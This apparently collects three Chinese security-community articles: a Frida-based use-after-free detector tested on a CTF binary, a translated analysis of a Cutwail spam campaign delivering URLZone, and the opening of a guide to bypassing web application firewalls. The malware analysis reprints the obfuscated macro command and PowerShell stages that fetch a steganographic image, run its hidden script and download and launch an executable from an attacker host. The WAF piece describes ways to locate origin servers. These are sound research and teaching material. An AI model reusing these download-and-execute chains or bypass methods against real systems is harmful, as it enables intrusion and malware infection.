程序大致流程为，js脚本执行hook操作，然后把信息传递给python脚本，python把接受的数据存到内存中，有`malloc`分配内存的时候，就记录分配内存的地址；有`free`释放内存的时候，就遍历之前存放的`malloc`分配的内存，将其标记为释放；有使用`printf`和`strcpy`这一类函数读写内存的时候，就去看那块内存是否被标记为已经释放，已经释放了的时候使用就是UAF。但是需要注意一些坑：
1. 一块内存`malloc`分配了之后使用`free`释放，下一次使用`malloc`分配内存的时候还是分配到这个地址，所以一个地址可能分配不止一次。我们可以记录分配的次数和释放的次数。如果释放的次数减去分配的次数等于零，那么就是已经释放了，如果大于零，那么就是一块内存被释放了多次，如果小于零，那么就是没有被释放。
2. `printf`函数内部有使用`malloc`分配内存，但是在改函数里面`free`的时候传递的值是`0`,所以脚本会误报很多使用`printf`的地方分配内存未释放。
具体怎么做的就看代码了，下面贴出专研好几个小时的代码：
js脚本
var malloc = Module.findExportByName(null, "malloc");
var calloc = Module.findExportByName(null, "calloc");
var free = Module.findExportByName(null, "free");
var strcpy = Module.findExportByName(null, "strcpy");
var memcpy = Module.findExportByName(null, "memcpy");
var read = Module.findExportByName(null, "read");
var strncpy = Module.findExportByName(null, "strncpy");
var sprintf = Module.findExportByName(null, "sprintf");
var snprintf = Module.findExportByName(null, "snprintf");
var printf = Module.findExportByName(null, "printf");
var _strlen = Module.findExportByName(null, "strlen");
var strlen = new NativeFunction(_strlen, 'ulong', ['pointer']);
var module_count = 0;
var start_trace = false;
const EXEC_NAME = "EXEC_NAME";
function init() {
Process.enumerateModules({
onMatch: function (module) {
var data = {}
data.type = "module";
data.name = module.name;
data.base = module.base;
data.path = module.path;
data.size = module.size;
send(JSON.stringify(data))
},
onComplete: function () {
}
});
}
function onStart() {
start_trace = true;
}
function onEnd() {
start_trace = false;
var enddata = {};
enddata.type = "end";
send(JSON.stringify(enddata));
}
function addressExists(addr) {
for(var item in result) {
if(result[item][ADDRESS] == addr) {
return true;
}
}
return false;
}
function __trace_memory_use() {
if(malloc != undefined) {
Interceptor.attach(malloc, {
onEnter: function (args) {
if(start_trace) {
size = "0x" + args[0].toString(16);
stack = Thread.backtrace(this.context, Backtracer.ACCURATE);
}
},
onLeave: function (retval) {
if(start_trace) {
ret = "" + retval;
var data = {};
data.type = "alloc";
data.method = "malloc";
data.address = ret;
data.size = size;
data.stack = stack;
send(JSON.stringify(data));
}
}
});
}
if(calloc != undefined) {
}
if(free != undefined) {
Interceptor.attach(free, {
onEnter: function (args) {
if(start_trace) {
var data = {};
data.type = "free";
data.address = "" + args[0];
send(JSON.stringify(data));
}
},
onLeave: function (retval) {
}
});
}
if(strcpy != undefined) {
Interceptor.attach(strcpy, {
onEnter: function (args) {
if(start_trace) {
var data = {};
data.type = "use";
data.address = "" + args[0];
data.method = "strcpy";
data.sourcelen = strlen(args[1]);
data.source = Memory.readUtf8String(args[1]);
data.stack = Thread.backtrace(this.context, Backtracer.ACCURATE);
send(JSON.stringify(data));
}
},
onLeave: function (retval) {
}
});
}
if(printf != undefined) {
Interceptor.attach(printf, {
onEnter: function (args) {
if(start_trace) {
var format = Memory.readUtf8String(args[0]);
var nformat = format.split('%').length - 1;
var data = {};
data.type = "printf";
data.method = "printf";
data.format = format;
data.nformat = nformat;
var forarg = [];
for(var i = 0; i < nformat; i++) {
forarg[i] = args[i + 1];
}
data.forarg = forarg;
data.stack = Thread.backtrace(this.context, Backtracer.ACCURATE);
send(JSON.stringify(data));
}
},
onLeave: function (retval) {
}
});
}
}
function trace() {
var main = Module.findExportByName(EXEC_NAME, "main");
if(main != undefined) {
Interceptor.attach(main, {
onEnter: function (args) {
onStart();
},
onLeave: function (retval) {
onEnd();
}
});
}
}
init();
__trace_memory_use();
trace();
python脚本
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import frida
import json
import os
# 下面这一段是从 https://github.com/TheCjw/Frida-Android-Scripts/blob/master/loader.py#L19 抄的
import colorlog
from colorlog import ColoredFormatter
handler = colorlog.StreamHandler()
formatter = ColoredFormatter(
"%(log_color)s[%(asctime)s] [%(levelname)s]%(reset)s %(message)s",
datefmt="%H:%M:%S",
reset=True,
log_colors={
"DEBUG": "cyan",
"INFO": "green",
"WARNING": "yellow",
"ERROR": "red",
"CRITICAL": "red,bg_white",
}
)
handler.setFormatter(formatter)
logger = colorlog.getLogger("loader")
logger.addHandler(handler)
logger.level = 10 # DEBUG
# 抄完了
class dofrida(object):
def __init__(self, _exepath, _exename, _mode):
self.loads = json.loads
self.log = logger
self.modules = []
self.result = []
self.uafresult = []
self.exepath = _exepath
self.exename = _exename
self.exe = os.path.join(self.exepath, self.exename)
if _mode == "start":
device = frida.get_local_device()
pid = device.spawn([self.exe])
session = frida.attach(pid);
fd = open("./tool.js")
src = fd.read()
fd.close()
src = src.replace('const EXEC_NAME = "EXEC_NAME";', ('const EXEC_NAME = "%s";' %self.exename))
script = session.create_script(src)
if script :
script.on("message", self.on_message)
script.load()
device.resume(pid)
elif _mode == "attach":
device = frida.get_local_device()
pid = -1
for p in device.enumerate_processes():
if p.name == self.exename:
pid = p.pid
if pid != -1 :
session = frida.attach(pid)
fd = open("./tool.js")
src = fd.read()
fd.close()
src = src.replace('const EXEC_NAME = "EXEC_NAME";', ('const EXEC_NAME = "%s";' %self.exename))
src = src.replace('var start_trace = false;', 'var start_trace = true;')
session.on('detached', self.on_end)
script = session.create_script(src)
if script :
script.on("message", self.on_message)
script.load()
import sys
sys.stdin.read()
def on_message(self, message, data):
if message['type'] == 'send':
payload = self.loads(message['payload'])
if payload['type'] == "module" :
self.modules.append(payload)
elif payload['type'] == "alloc" :
address = payload['address']
method = payload['method']
if self.address_exists(address) :
alloc_info = {}
alloc_info['size'] = payload['size']
alloc_info['stack'] = payload['stack']
self.insert_item_into_exist_address(address, alloc_info)
else :
data = {}
data['address'] = address
data['method'] = method
data['alloc_count'] = 1 # 分配内存到这个地址的次数
data['free_count'] = 0 # 这个地址分配的内存被释放的次数
data['alloc'] = []
alloc_info = {}
alloc_info['size'] = payload['size']
alloc_info['stack'] = payload['stack']
data['alloc'].append(alloc_info)
self.result.append(data)
elif payload['type'] == "free":
for i in range(0, len(self.result)) :
if self.result[i]['address'] == payload['address']:
self.result[i]['free_count'] += 1
elif payload['type'] == "use":
for i in range(0, len(self.result)) :
if self.result[i]['address'] == payload['address']:
if self.result[i]['free_count'] - self.result[i]['alloc_count'] >= 0:
self.log.error("Use After Free: address: %s , alloc method: %s, use method: %s, source data: %s, source len %s, stack: %s" %(self.result[i]['address'], self.result[i]['method'], payload['method'], payload['source'], payload['sourcelen'], payload['stack']))
data = {}
data['address'] = payload['address']
data['sourcelen'] = payload['sourcelen']
data['stack'] = payload['stack']
data['source'] = payload['source']
data['method'] = payload['method']
data['count'] = self.result[i]['alloc_count']
self.uafresult.append(data)
elif payload['type'] == "printf":
if payload['nformat'] == 0 :
# 格式化字符串，误报超级高
self.log.error("Format String: format: %s, stack: %s" %(payload['format'], payload['stack']))
for i in range(0, len(self.result)):
for item in payload['forarg']:
if item == self.result[i]['address'] :
if self.result[i]['free_count'] - self.result[i]['alloc_count'] >= 0:
self.log.error("Use After Free(printf): address: %s, alloc method: %s, use method: printf, format: %s, stack: %s" %(self.result[i]['address'], self.result[i]['method'], payload['format'], payload['stack']))
data = {}
data['address'] = self.result[i]['address']
data['sourcelen'] = payload['nformat']
data['stack'] = payload['stack']
data['source'] = payload['format']
data['method'] = payload['method']
data['count'] = self.result[i]['alloc_count']
self.uafresult.append(data)
elif payload['type'] == "end" :
self.on_end()
def on_end(self):
self.log.debug("Trace Method Ended")
self.uaf()
self.doubleFree()
self.unfreed()
# 因为malloc分配的内存在free之后，下一个malloc分配的内存就会是free这个地方，so......
def address_exists(self, address):
for item in self.result:
if address == item['address'] :
return True
return False
def insert_item_into_exist_address(self, address, data):
for i in range(0, len(self.result)) :
if address == self.result[i]['address'] :
self.result[i]['alloc'].append(data)
self.result[i]['alloc_count'] += 1
def uaf(self):
hasval = False
uafre = "| address | alloc method | use method | alloc size | use size | alloc stack | use stack |n"
uafre += "| --- | --- | --- | --- | --- | --- | --- |n"
for item in self.uafresult :
for reitem in self.result:
if item['address'] == reitem['address']:
alloc_stack = ""
use_stack = ""
for st in item['stack']:
modname,modaddr = self.whichModule(st)
if modname != "None":
use_stack += "`%s->0x%x` " %(modname, (int(st, 16) - modaddr))
for st in reitem['alloc'][item['count'] - 1]['stack']:
modname,modaddr = self.whichModule(st)
if modname != "None":
alloc_stack += "`%s->0x%x` " %(modname, (int(st, 16) - modaddr))
uafre += "| %s | %s | %s | %s | %s | %s | %s |n" %(reitem['address'], reitem['method'], item['method'], reitem['alloc'][item['count'] -1]['size'], item['sourcelen'], alloc_stack, use_stack)
hasval = True
if hasval is True:
fp = open("uaf.md", "wb")
fp.write(uafre)
fp.close()
def do_printf(self):
pass
def doubleFree(self):
pass
def unfreed(self):
hasval = False
unf = "| address | method | size | stack |n"
unf += "| --- | --- | --- | --- |n"
for item in self.result:
if item['alloc_count'] - item['free_count'] > 0 :
for alloc in item['alloc'] :
stack = ""
for s in alloc['stack']:
modname,modaddr = self.whichModule(s)
if modname != "None":
stack += "`%s->0x%x` " %(modname, (int(s, 16) - modaddr))
unf += "| %s | %s | %s | %s |n" %(item['address'], item['method'], alloc['size'], stack)
hasval = True
if hasval is True:
fp = open("unfreed.md", "wb")
fp.write(unf)
fp.close()
def whichModule(self, address) :
addr = int(address, 16)
for module in self.modules:
modaddr = int(module['base'], 16)
modsize = module['size']
if (addr >= modaddr) and (addr < modaddr + modsize) :
return module['name'], modaddr
return "None","None"
def main():
_exepath = "../testcase"
_exename = "main.elf"
dofrida(_exepath=_exepath, _exename=_exename, _mode="attach")
if __name__ == '__main__':
main()
脚本使用起来也很简单，修改`main`函数里面的两个值：`_exepath`为可执行文件在哪个文件夹(使用`start`这种模式才有效)，`_exename`为可执行文件的名字。然后修改`dofrida`创建对象的时候最后一个参数`_mode`，有两种模式，一种`start`，一种`attach`，`start`是由frida来启动这个程序，`attach`是附加到已经启动的程序上面(脚本写的很简单)。
## 使用自己造的轮子实践RHme3 CTF
[ RHme3
CTF](https://github.com/str8outtaheap/heapwn/tree/master/rhme3)是一UAF的题，下面用我们自己造的轮子来实践一下：
1. 修改`main`函数里面的`_exename`为`main.elf`，然后修改`_mode`为`attach`
2. 启动`main.elf`
3. 运行我们的python脚本
4. 在`main.elf`里面做这些操作。添加一个`player`，选择第`0`个`player`，添加一个`player`，删除第`0`个`player`,然后显示选择的`player`，最后退出。
5. 使用ida打开`main.elf`，然后`rebase program..`到`0x0`。
我们在上面步骤中会得到一个`uaf.md`的文件，其内容如下
address | alloc method | use method | alloc size | use size | alloc stack |
use stack
---|---|---|---|---|---|---
0xd40670 | malloc | printf | 0x6 | 1 | `main.elf->0x195a` `main.elf->0x2239`
`libc-2.23.so->0x2082f` `main.elf->0xee8` | `main.elf->0x17b1`
`main.elf->0x2100` `main.elf->0x2269` `libc-2.23.so->0x2082f`
`main.elf->0xee8`
我们需要的关键数据是`malloc`和`printf`的时候的堆栈，其中`malloc`的时候堆栈最上面是`0x195a`，`printf`的时候堆栈最上面为`0x17b1`。
我们用ida按g键跳转到`0x195a`,这个位置其实是执行完`malloc`之后跳转的地址，我们可以差不多比较精确的定位到存在UAF漏洞的malloc分配的地方就是下面哪里
.text:00000000000018DB mov rax, [rbp+s]
.text:00000000000018E2 mov edx, 18h ; n
.text:00000000000018E7 mov esi, 0 ; c
.text:00000000000018EC mov rdi, rax ; s
.text:00000000000018EF call _memset
.text:00000000000018F4 mov edi, 4024BBh ; format
.text:00000000000018F9 mov eax, 0
.text:00000000000018FE call _printf
.text:0000000000001903 mov rax, cs:stdout@@GLIBC_2_2_5
.text:000000000000190A mov rdi, rax ; stream
.text:000000000000190D call _fflush
.text:0000000000001912 lea rax, [rbp+src]
.text:0000000000001919 mov edx, 100h ; n
.text:000000000000191E mov esi, 0 ; c
.text:0000000000001923 mov rdi, rax ; s
.text:0000000000001926 call _memset
.text:000000000000192B lea rax, [rbp+src]
.text:0000000000001932 mov esi, 100h
.text:0000000000001937 mov rdi, rax
.text:000000000000193A call readline
.text:000000000000193F lea rax, [rbp+src]
.text:0000000000001946 mov rdi, rax ; s
.text:0000000000001949 call _strlen
.text:000000000000194E add rax, 1
.text:0000000000001952 mov rdi, rax ; size
.text:0000000000001955 call _malloc
.text:000000000000195A mov rdx, rax
.text:000000000000195D mov rax, [rbp+s]
.text:0000000000001964 mov [rax+10h], rdx
然后我们按g跳转到`0x17b1`，这个地方就是释放后使用的地方了：
.text:000000000000178B show_player_func proc near ; CODE XREF: select_player+BB↓p
.text:000000000000178B ; show_player+48↓p ...
.text:000000000000178B
.text:000000000000178B var_8 = qword ptr -8
.text:000000000000178B
.text:000000000000178B push rbp
.text:000000000000178C mov rbp, rsp
.text:000000000000178F sub rsp, 10h
.text:0000000000001793 mov [rbp+var_8], rdi
.text:0000000000001797 mov rax, [rbp+var_8]
.text:000000000000179B mov rax, [rax+10h]
.text:000000000000179F mov rsi, rax
.text:00000000000017A2 mov edi, 402447h ; format
.text:00000000000017A7 mov eax, 0
.text:00000000000017AC call _printf
.text:00000000000017B1 mov rax, cs:stdout@@GLIBC_2_2_5
.text:00000000000017B8 mov rdi, rax ; stream
.text:00000000000017BB call _fflush
.text:00000000000017C0 mov rax, [rbp+var_8]
.text:00000000000017C4 mov esi, [rax+0Ch]
.text:00000000000017C7 mov rax, [rbp+var_8]
.text:00000000000017CB mov ecx, [rax+8]
.text:00000000000017CE mov rax, [rbp+var_8]
.text:00000000000017D2 mov edx, [rax+4]
.text:00000000000017D5 mov rax, [rbp+var_8]
.text:00000000000017D9 mov eax, [rax]
.text:00000000000017DB mov r8d, esi
.text:00000000000017DE mov esi, eax
.text:00000000000017E0 mov edi, 402452h ; format
.text:00000000000017E5 mov eax, 0
.text:00000000000017EA call _printf
.text:00000000000017EF mov rax, cs:stdout@@GLIBC_2_2_5
.text:00000000000017F6 mov rdi, rax ; stream
.text:00000000000017F9 call _fflush
.text:00000000000017FE nop
.text:00000000000017FF leave
.text:0000000000001800 retn
.text:0000000000001800 show_player_func endp
我们的实践就到此为止了。
## 轮子存在的缺陷
1. 因为`malloc`、`free`、`strcpy`这些函数调用太频繁了，应用被hook的时候会很卡很卡，甚至崩溃掉。
2. 内存读写相关函数太多，要全部实现监控，写代码是个体力活。
3. 这个只是针对函数级别的监控，假如是直接对某个地址赋值就监控不到了，比如下面这样：
char *x = (char *)malloc(1024);
char *p = x;
for(int i = 0; i < 10; i++) {
*p = 'x';
p++;
}
##
## 致谢
1. 感谢[TheCjw](https://github.com/TheCjw)教我写frida脚本
2. 感谢[Bean3ai](https://github.com/Bean3ai)和我讨论堆相关知识
3. 感谢[堆利用——UAF之殇](https://www.anquanke.com/post/id/86952)这篇文章让我找到测试用例
4. 感谢[linux-x86-UAF.md](https://github.com/hardenedlinux/linux-exploit-development-tutorial/blob/master/chapter3/linux-x86-UAF.md)让我大致了解UAF
## 菜鸡心声
我也想学挖洞，求大佬带[我](mailto:[email protected])。我求学道德水准还是可以的，不会因为一些小问题来一直烦你们，一直问。只有遇到无从下手的问题的时候才会提问，而且也不一定需要完整解答，教我思路就行。目前特别需要一个人指点下，我要挖洞的话应该怎么入手，外行完全不知道该从何做起。要是有大佬看中，就请收下我吧。 | 社区文章 |
CrowdStrike研究人员10月24日发现一个来自NARWHAL SPIDER的垃圾邮件活动—— Cutwail。NARWHAL
SPIDER主要为其客户提供垃圾邮件服务，目标和payload根据客户的不同而不同。
这起日语的垃圾邮件活动融合了恶意PowerShell (PS)和steganography（隐写术）来传播恶意软件URLZone。
垃圾邮件中含有启用宏的恶意Excel附件，名为`DOC2410201810{DIGIT[6]}.xls`，SHA256哈希值为`54303e5aa05db2becbef0978baa60775858899b17a5d372365ba3c5b1220fd2e`，如图1所示。垃圾邮件的主体一般为空或含有表1中的内容。
表 1. Cutwail垃圾邮件活动细节
图 1. 启用宏的恶意Excel文件截屏
打开Excel并且启用宏后，受害者机器运行的过程如下所述。
# Stage 1: 反混淆
嵌入的Visual Basic Application (VBA)代码会运行`cmd.exe`：
cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"
命令解码后会执行stage 2，stage 2是含有PS命令的Windows batch命令。
# Stage 2: 下载图像文件，执行PowerShell命令
Stage 2代码如下：
cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
PS命令执行以下动作：
* 下载图像并在stage3解码；
* 复制stage3到剪贴板；
* 执行PS命令来初始化stage3。
Stage 2
PS命令会从URL`https://images2.imgbox[.]com/ca/88/A2ZSlW6S_o.png`下载一个PNG文件。下载的图片SHA256哈希值为`73da11127aa1da5538d153ba7f063c74fb90af46da581f098f179e1bb8371904`。下载的图片如下图所示：
图 2. 用隐写术隐藏payload的图片
然后，命令会用图片中的隐写术来解码隐藏的数据。信息隐藏在图片的蓝（blue，B）绿（green，G）信道中。蓝绿信道的4个最重要的位中含有另一个PS脚本（stage
3）。蓝绿信道的4个比特可以生成输出的所有字节，如下图：
下面的python代码可以从图片中提取出PowerShell命令：
from PIL import Image
import sys
image = Image.open(sys.argv[1])
pixel = image.load()
payload = bytearray()
for y in xrange(3):
for x in range(620):
r, g, b = pixel[x,y]
payload.append( (b&15) * 16 | (g&15) )
print(payload)
Stage 3 PS命令隐藏在图片的前三行。下图是原始图像，为了可视化效果，红色信道被移除了。这也说明在前三行使用了隐写术。
图 3. 下载的图像中蓝绿信道的前三行隐藏了PowerShell命令
然后，解码的stage 3 PS命令会被复制到剪贴板并执行。最后，stage
2会生成一个`powershell.exe`的实例。新的PS命令会复制剪贴板中的内容并执行，然后清除剪贴板的内容。
# Stage 3: PowerShell
stage 3的PS命令是高度混淆的，反混淆后的命令如下：
$Ds = Get-Culture | Format-List -Property * | Out-String -Stream; if ($Ds -Match "ja") {
$urls = "http[:]//pigertime[.]com/mksettting", ""; foreach ($url in $urls) {
Try {
write-Host $url; $fp = "$env:temp\pain.exe"; Write-Host $fp; $wc = New-Object System[.]Net.WebClient; $wc.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT; Windows NT 10.0; us-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6"); $wc.DownloadFile($url, $fp); Start-Process $fp; break
}
Catch {
Write-Host $_.Exception.Message
}
}
}
反混淆的PS命令首先会检查当前区域设定是否含有字符串`ja`，即检查区域是否是日本。如果是，受害者机器会向URL`http[:]//pigertime[.]com/mksettting`发送HTTP
GET请求，`user agent`为`Mozilla/5.0 (Windows NT; Windows NT 10.0; us-US)
AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0
Safari/534.6`。payload会下载到`%TEMP%\pain.exe`中，并执行。
下载的payload
SHA256哈希值为`03fe36e396a2730fa9a51c455d39f2ba8168e5e7b1111102c1e349b6eac93778`，是eCrime恶意软件下载器URLZone的变种。
# URLZone
发现的URLZone变种使用的C2服务器是`https://oaril[.]com/auth/`，公钥为：
-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmk6zOuYcUd1H6vUyvuxrcozqW mOl5jTa9HDodiKaPtRPmNv2rRPF/4urX476F+SM6kmLcG04lnE3bEAQzO+kJJx8x gmxESN8piJ3aSxnjAqpt3rVjmwXmoULE1wnOFCKt32UmfZ7xNaPeYJyLvgcfGMme MGuPDjhqw5LmxzzSjwIDAQAB
-----END PUBLIC KEY-----
成功安装URLZone后，C2会发送一个请求到URL来下载和执行恶意payload。之前的垃圾邮件活动中下载的是Gozi ISFB。
# 总结
Cutwail垃圾邮件在过去3个月的活动相对并不活跃。隐写术的引入说明NARWHAL
SPIDER正在开发新的方法来绕过检测并增加感染率。隐写术也是恶意软件常用的一种技术，Lurk Downloader和StegoLoader都曾使用过。
<https://www.crowdstrike.com/blog/cutwail-spam-campaign-uses-steganography-to-distribute-urlzone/> | 社区文章 |
## author：破见
从架构、资源、协议和规则4个层次研究绕过WAF的技术，助于全方位提升WAF防御能力。
绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分，也是最有趣的部分，所以我在写WAF攻防时先写攻击部分。还是那句老话“不知攻焉知防”，如果连绕过WAF方法都不知道，怎么保证WAF能保护后端服务的安全。在我看来，WAF的绕过技术的研究将不断驱动防御水平提高。
以前一些WAF
bypass的文章更像CASE的整理，都把焦点放在了规则对抗层面。绕过WAF规则，更像是正面对抗，属于下策。一直关注规则层面的绕过，太局限视野，看不到WAF在其他方面问题。木桶原理，防御能力并不会有本质的提高。本文将从4个层次讲解bypass
WAF的技术，全方位提升WAF的防御能力。 讲完相关攻击技术后，以后再探讨WAF的设计架构、防御策略，这样显得每一处的考虑都是有意义的。
* 从架构层Bypass WAF 。
* 从资源限角度bypass WAF。
* 从协议层面bypass WAF。
* 从规则缺陷bypass WAF。
# 1\. 架构层绕过WAF
## 1.1 寻找源站
如果流量都没有经过WAF，WAF当然无法拦截攻击请求。当前多数云WAF架构，例如百度云加速、360安全卫士等，通过更改DNS解析，把流量引入WAF集群，流量经过检测后转发请求到源站。如图，liusscs.com接入接入WAF后，liusscs.comd的DNS解析结果指向WAF集群，用户的请求将发送给WAF集群，WAF集群经过检测认为非攻击请求再转发给源站。
假设我们是攻击者，如何绕过WAF的安全检测呢？ 从云WAF架构考虑，如果HTTP请求都没有经过WAF集群直接到达源站，顺理成章bypass
WAF。所以关键在于发现源站的IP地址。常用方法如下，可能还有很多很多思路，欢迎补充：
1) 信息泄露发现源站IP。信息泄露的途径很多，细心留言往往能发现。我常用的方法如下：
* 网站页面注销是否包含源站IP。
* GIHUB源代码泄露是否包含源站IP。
* 未接入WAF前，真实IP地址是否被搜索引擎等服务收录。
2)
穷举IP地址，根据特征发现服务器真实IP地址。对于国内的服务器，穷举国内的IP，访问每个IP的HTTP服务，根据页面特征检测响应页面，判断IP是否为源站IP地址。曾经乌云有人分享过，完成一次国内IP扫描只需要8-9小时，可是现在找不到那篇文章。
## 1.2 利用同网段
一些在云服务商的站点，同时使用云服务商提供的WAF服务。当流量不是通过DNS解析引流到WAF，流量必须经过WAF的检测，这是不能通过发行源站进行绕过。可以考虑在云服务商买一台VPS，通过VPS攻击目标站点，因为流量是局域网，可能不经过WAF检测，实现绕过。能不能成功，关键在于云服务商的网络配置。
